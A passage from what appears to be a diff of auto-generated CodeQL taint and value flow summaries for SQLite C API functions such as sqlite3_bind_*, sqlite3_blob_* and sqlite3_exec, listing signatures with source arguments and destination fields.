*,int,sqlite3_int64,sqlite_int64)", "", "Argument[1]", "Argument[*0].Field[**aVar]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_bind_int", "(sqlite3_stmt *,int,int)", "", "Argument[1]", "Argument[*0].Field[**aVar]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_bind_parameter_count", "(sqlite3_stmt *)", "", "Argument[*0].Field[*nVar]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_bind_parameter_index", "(sqlite3_stmt *,const char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_bind_parameter_name", "(sqlite3_stmt *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_bind_parameter_name", "(sqlite3_stmt *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "sqlite3_bind_pointer", "(sqlite3_stmt *,int,void *,const char *,..(*)(..))", "", "Argument[*2]", "Argument[*0].Field[**aVar].Field[**z]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_bind_pointer", "(sqlite3_stmt *,int,void *,const char *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[**aVar]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_bind_pointer", "(sqlite3_stmt *,int,void *,const char *,..(*)(..))", "", "Argument[2]", "Argument[*0].Field[**aVar].Field[*z]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_bind_pointer", "(sqlite3_stmt *,int,void *,const char *,..(*)(..))", "", "Argument[4]", "Argument[*0].Field[**aVar].Field[*xDel]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_bind_text16", "(sqlite3_stmt *,int,const void *,int,..(*)(..))", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_bind_text64", "(sqlite3_stmt *,int,const char *,sqlite3_uint64,..(*)(..),unsigned char)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_bind_text", "(sqlite3_stmt *,int,const char *,int,..(*)(..))", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_bind_value", "(sqlite3_stmt *,int,const sqlite3_value *)", "", "Argument[1]", "Argument[*0].Field[**aVar]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_bind_zeroblob64", "(sqlite3_stmt *,int,sqlite3_uint64)", "", "Argument[1]", "Argument[*0].Field[**aVar]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_bind_zeroblob", "(sqlite3_stmt *,int,int)", "", "Argument[1]", "Argument[*0].Field[**aVar]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_blob_bytes", "(sqlite3_blob *)", "", "Argument[*0].Field[*nByte]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_blob_close", "(sqlite3_blob *)", "", "Argument[*0].Field[**pStmt].Field[*rc]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_blob_open", "(sqlite3 *,const char *,const char *,const char *,sqlite3_int64,sqlite_int64,int,sqlite3_blob **)", "", "Argument[*2]", "Argument[**6].Field[**pTab].Field[**zName]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_blob_open", "(sqlite3 *,const char *,const char *,const char *,sqlite3_int64,sqlite_int64,int,sqlite3_blob **)", "", "Argument[*3]", "Argument[**6].Field[*iCol]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_blob_open", "(sqlite3 *,const char *,const char *,const char *,sqlite3_int64,sqlite_int64,int,sqlite3_blob **)", "", "Argument[*3]", "Argument[**6].Field[*iOffset]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_blob_open", "(sqlite3 *,const char *,const char *,const char *,sqlite3_int64,sqlite_int64,int,sqlite3_blob **)", "", "Argument[*3]", "Argument[**6].Field[*nByte]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_blob_open", "(sqlite3 *,const char *,const char *,const char *,sqlite3_int64,sqlite_int64,int,sqlite3_blob **)", "", "Argument[2]", "Argument[**6].Field[**pTab].Field[**zName]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_blob_open", "(sqlite3 *,const char *,const char *,const char *,sqlite3_int64,sqlite_int64,int,sqlite3_blob **)", "", "Argument[3]", "Argument[**6].Field[*iCol]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_blob_open", "(sqlite3 *,const char *,const char *,const char *,sqlite3_int64,sqlite_int64,int,sqlite3_blob **)", "", "Argument[3]", "Argument[**6].Field[*iOffset]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_blob_open", "(sqlite3 *,const char *,const char *,const char *,sqlite3_int64,sqlite_int64,int,sqlite3_blob **)", "", "Argument[3]", "Argument[**6].Field[*nByte]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_blob_read", "(sqlite3_blob *,void *,int,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_blob_read", "(sqlite3_blob *,void *,int,int)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_blob_read", "(sqlite3_blob *,void *,int,int)", "", "Argument[3]", "Argument[*0].Field[**pCsr].Field[**aOverflow]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_blob_read", "(sqlite3_blob *,void *,int,int)", "", "Argument[3]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_blob_reopen", "(sqlite3_blob *,sqlite3_int64)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_blob_write", "(sqlite3_blob *,const void *,int,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_blob_write", "(sqlite3_blob *,const void *,int,int)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_blob_write", "(sqlite3_blob *,const void *,int,int)", "", "Argument[3]", "Argument[*0].Field[**pCsr].Field[**aOverflow]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_blob_write", "(sqlite3_blob *,const void *,int,int)", "", "Argument[3]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_busy_handler", "(sqlite3 *,..(*)(..),void *)", "", "Argument[**2]", "Argument[*0].Field[*busyHandler].Field[***pBusyArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_busy_handler", "(sqlite3 *,..(*)(..),void *)", "", "Argument[*2]", "Argument[*0].Field[*busyHandler].Field[**pBusyArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_busy_handler", "(sqlite3 *,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*busyHandler].Field[*xBusyHandler]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_busy_handler", "(sqlite3 *,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[*busyHandler].Field[*pBusyArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_busy_timeout", "(sqlite3 *,int)", "", "Argument[*0]", "Argument[*0].Field[*busyHandler].Field[**pBusyArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_busy_timeout", "(sqlite3 *,int)", "", "Argument[0]", "Argument[*0].Field[*busyHandler].Field[*pBusyArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_busy_timeout", "(sqlite3 *,int)", "", "Argument[1]", "Argument[*0].Field[*busyTimeout]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_changes64", "(sqlite3 *)", "", "Argument[*0].Field[*nChange]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_changes", "(sqlite3 *)", "", "Argument[*0].Field[*nChange]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_close", "(sqlite3 *)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_collation_needed16", "(sqlite3 *,void *,..(*)(..))", "", "Argument[**1]", "Argument[*0].Field[***pCollNeededArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_collation_needed16", "(sqlite3 *,void *,..(*)(..))", "", "Argument[*1]", "Argument[*0].Field[**pCollNeededArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_collation_needed16", "(sqlite3 *,void *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*pCollNeededArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_collation_needed16", "(sqlite3 *,void *,..(*)(..))", "", "Argument[2]", "Argument[*0].Field[*xCollNeeded16]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_collation_needed", "(sqlite3 *,void *,..(*)(..))", "", "Argument[**1]", "Argument[*0].Field[***pCollNeededArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_collation_needed", "(sqlite3 *,void *,..(*)(..))", "", "Argument[*1]", "Argument[*0].Field[**pCollNeededArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_collation_needed", "(sqlite3 *,void *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*pCollNeededArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_collation_needed", "(sqlite3 *,void *,..(*)(..))", "", "Argument[2]", "Argument[*0].Field[*xCollNeeded]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_column_blob", "(sqlite3_stmt *,int)", "", "Argument[1]", "Argument[*0].Field[**pResultRow]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_column_bytes16", "(sqlite3_stmt *,int)", "", "Argument[1]", "Argument[*0].Field[**pResultRow]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_column_bytes", "(sqlite3_stmt *,int)", "", "Argument[1]", "Argument[*0].Field[**pResultRow]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_column_count", "(sqlite3_stmt *)", "", "Argument[*0].Field[*nResColumn]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_column_decltype16", "(sqlite3_stmt *,int)", "", "Argument[1]", "Argument[*0].Field[**aColName]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_column_decltype", "(sqlite3_stmt *,int)", "", "Argument[1]", "Argument[*0].Field[**aColName]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_column_double", "(sqlite3_stmt *,int)", "", "Argument[1]", "Argument[*0].Field[**pResultRow]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_column_int64", "(sqlite3_stmt *,int)", "", "Argument[1]", "Argument[*0].Field[**pResultRow]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_column_int", "(sqlite3_stmt *,int)", "", "Argument[1]", "Argument[*0].Field[**pResultRow]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_column_name16", "(sqlite3_stmt *,int)", "", "Argument[1]", "Argument[*0].Field[**aColName]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_column_name16", "(sqlite3_stmt *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_column_name16", "(sqlite3_stmt *,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_column_name", "(sqlite3_stmt *,int)", "", "Argument[1]", "Argument[*0].Field[**aColName]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_column_name", "(sqlite3_stmt *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_column_text16", "(sqlite3_stmt *,int)", "", "Argument[1]", "Argument[*0].Field[**pResultRow]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_column_text", "(sqlite3_stmt *,int)", "", "Argument[1]", "Argument[*0].Field[**pResultRow]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_column_type", "(sqlite3_stmt *,int)", "", "Argument[1]", "Argument[*0].Field[**pResultRow]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_column_value", "(sqlite3_stmt *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_column_value", "(sqlite3_stmt *,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_commit_hook", "(sqlite3 *,..(*)(..),void *)", "", "Argument[**2]", "Argument[*0].Field[***pCommitArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_commit_hook", "(sqlite3 *,..(*)(..),void *)", "", "Argument[*2]", "Argument[*0].Field[**pCommitArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_commit_hook", "(sqlite3 *,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*xCommitCallback]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_commit_hook", "(sqlite3 *,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[*pCommitArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_compileoption_get", "(int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_completion_init", "(sqlite3 *,char **,const sqlite3_api_routines *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_context_db_handle", "(sqlite3_context *)", "", "Argument[*0].Field[**pOut].Field[**db]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_context_db_handle", "(sqlite3_context *)", "", "Argument[*0].Field[**pOut].Field[*db]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_create_collation16", "(sqlite3 *,const void *,int,void *,..(*)(..))", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_create_collation", "(sqlite3 *,const char *,int,void *,..(*)(..))", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_create_collation_v2", "(sqlite3 *,const char *,int,void *,..(*)(..),..(*)(..))", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_create_function16", "(sqlite3 *,const void *,int,int,void *,..(*)(..),..(*)(..),..(*)(..))", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_create_function", "(sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..))", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_create_function", "(sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*lookaside].Field[**pFree]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_create_function", "(sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*lookaside].Field[**pSmallFree]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_create_function_v2", "(sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_create_function_v2", "(sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*lookaside].Field[**pFree]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_create_function_v2", "(sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*lookaside].Field[**pSmallFree]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_create_module", "(sqlite3 *,const char *,const sqlite3_module *,void *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_create_module", "(sqlite3 *,const char *,const sqlite3_module *,void *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "sqlite3_create_module", "(sqlite3 *,const char *,const sqlite3_module *,void *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "sqlite3_create_module_v2", "(sqlite3 *,const char *,const sqlite3_module *,void *,..(*)(..))", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_create_module_v2", "(sqlite3 *,const char *,const sqlite3_module *,void *,..(*)(..))", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "sqlite3_create_module_v2", "(sqlite3 *,const char *,const sqlite3_module *,void *,..(*)(..))", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "sqlite3_create_window_function", "(sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_create_window_function", "(sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*lookaside].Field[**pFree]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_create_window_function", "(sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*lookaside].Field[**pSmallFree]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_data_count", "(sqlite3_stmt *)", "", "Argument[*0].Field[*nResColumn]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_db_handle", "(sqlite3_stmt *)", "", "Argument[*0].Field[**db]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_db_handle", "(sqlite3_stmt *)", "", "Argument[*0].Field[*db]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_db_mutex", "(sqlite3 *)", "", "Argument[*0].Field[**mutex]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_db_mutex", "(sqlite3 *)", "", "Argument[*0].Field[*mutex]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_db_name", "(sqlite3 *,int)", "", "Argument[*0].Field[**aDb].Field[**zDbSName]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_db_name", "(sqlite3 *,int)", "", "Argument[*0].Field[**aDb].Field[*zDbSName]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_db_status", "(sqlite3 *,int,int *,int *,int)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_db_status", "(sqlite3 *,int,int *,int *,int)", "", "Argument[1]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_dbdata_init", "(sqlite3 *,char **,const sqlite3_api_routines *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_decimal_init", "(sqlite3 *,char **,const sqlite3_api_routines *)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_declare_vtab", "(sqlite3 *,const char *)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_deserialize", "(sqlite3 *,const char *,unsigned char *,sqlite3_int64,sqlite3_int64,unsigned int)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_errcode", "(sqlite3 *)", "", "Argument[*0].Field[*errCode]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_errcode", "(sqlite3 *)", "", "Argument[*0].Field[*errMask]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_errmsg16", "(sqlite3 *)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_errmsg", "(sqlite3 *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_errmsg", "(sqlite3 *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "sqlite3_error_offset", "(sqlite3 *)", "", "Argument[*0].Field[*errByteOffset]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_errstr", "(int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_exec", "(sqlite3 *,const char *,..(*)(..),sqlite3_callback,void *,char **)", "", "Argument[*1]", "Argument[*0].Field[*lookaside].Field[**pFree]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_exec", "(sqlite3 *,const char *,..(*)(..),sqlite3_callback,void *,char **)", "", "Argument[*1]", "Argument[*0].Field[*lookaside].Field[**pSmallFree]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_exec", "(sqlite3 *,const char *,..(*)(..),sqlite3_callback,void *,char **)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_exec", "(sqlite3 *,const char *,..(*)(..),sqlite3_callback,void *,char **)", "", "Argument[1]", "Argument[*0].Field[*lookaside].Field[**pFree]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_exec", "(sqlite3 *,const char *,..(*)(..),sqlite3_callback,void *,char **)", "", "Argument[1]", "Argument[*0].Field[*lookaside].Field[**pSmallFree]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_exec", "(sqlite3 *,const char *,..(*)(..),sqlite3_callback,void *,char **)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_exec", "(sqlite3 *,const char *,..(*)(..),sqlite3_callback,void *,char **)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_expanded_sql", "(sqlite3_stmt *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "sqlite3_expert_analyze", "(sqlite3expert *,char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_expert_count", "(sqlite3expert *)", "", "Argument[*0].Field[**pStatement].Field[*iId]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_expert_new", "(sqlite3 *,char **)", "", "Argument[0]", "ReturnValue[*].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_expert_new", "(sqlite3 *,char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_expert_report", "(sqlite3expert *,int,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_expert_report", "(sqlite3expert *,int,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "sqlite3_expert_sql", "(sqlite3expert *,const char *,char **)", "", "Argument[*1]", "Argument[*0].Field[**pStatement].Field[**zSql]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_expert_sql", "(sqlite3expert *,const char *,char **)", "", "Argument[1]", "Argument[*0].Field[**pStatement].Field[**zSql]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_expert_sql", "(sqlite3expert *,const char *,char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_extended_errcode", "(sqlite3 *)", "", "Argument[*0].Field[*errCode]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_file_control", "(sqlite3 *,const char *,int,void *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_fileio_init", "(sqlite3 *,char **,const sqlite3_api_routines *)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_filename_database", "(const char *,sqlite3_filename)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_filename_database", "(const char *,sqlite3_filename)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_filename_database", "(const char *,sqlite3_filename)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_filename_journal", "(const char *,sqlite3_filename)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_filename_journal", "(const char *,sqlite3_filename)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_filename_journal", "(const char *,sqlite3_filename)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_filename_wal", "(const char *,sqlite3_filename)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_filename_wal", "(const char *,sqlite3_filename)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_filename_wal", "(const char *,sqlite3_filename)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_finalize", "(sqlite3_stmt *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_free_filename", "(const char *,sqlite3_filename)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_free_table", "(char **)", "", "Argument[*0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_free_table", "(char **)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_free_table", "(char **)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_get_autocommit", "(sqlite3 *)", "", "Argument[*0].Field[*autoCommit]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_get_clientdata", "(sqlite3 *,const char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_get_clientdata", "(sqlite3 *,const char *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "sqlite3_get_clientdata", "(sqlite3 *,const char *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "sqlite3_get_table", "(sqlite3 *,const char *,char ***,int *,int *,char **)", "", "Argument[*1]", "Argument[*0].Field[*lookaside].Field[**pFree]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_get_table", "(sqlite3 *,const char *,char ***,int *,int *,char **)", "", "Argument[*1]", "Argument[*0].Field[*lookaside].Field[**pSmallFree]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_get_table", "(sqlite3 *,const char *,char ***,int *,int *,char **)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_get_table", "(sqlite3 *,const char *,char ***,int *,int *,char **)", "", "Argument[1]", "Argument[*0].Field[*lookaside].Field[**pFree]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_get_table", "(sqlite3 *,const char *,char ***,int *,int *,char **)", "", "Argument[1]", "Argument[*0].Field[*lookaside].Field[**pSmallFree]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_get_table", "(sqlite3 *,const char *,char ***,int *,int *,char **)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_ieee_init", "(sqlite3 *,char **,const sqlite3_api_routines *)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_intck_error", "(sqlite3_intck *,const char **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "sqlite3_intck_error", "(sqlite3_intck *,const char **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "sqlite3_intck_error", "(sqlite3_intck *,const char **)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_intck_message", "(sqlite3_intck *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_intck_message", "(sqlite3_intck *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "sqlite3_intck_open", "(sqlite3 *,const char *,sqlite3_intck **)", "", "Argument[*1]", "Argument[**2]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_intck_open", "(sqlite3 *,const char *,sqlite3_intck **)", "", "Argument[0]", "Argument[**2].Field[**zDb].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_intck_open", "(sqlite3 *,const char *,sqlite3_intck **)", "", "Argument[0]", "Argument[**2].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_intck_open", "(sqlite3 *,const char *,sqlite3_intck **)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_intck_open", "(sqlite3 *,const char *,sqlite3_intck **)", "", "Argument[1]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_intck_step", "(sqlite3_intck *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_intck_test_sql", "(sqlite3_intck *,const char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_intck_test_sql", "(sqlite3_intck *,const char *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "sqlite3_intck_unlock", "(sqlite3_intck *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_keyword_name", "(int,const char **,int *)", "", "Argument[0]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_keyword_name", "(int,const char **,int *)", "", "Argument[0]", 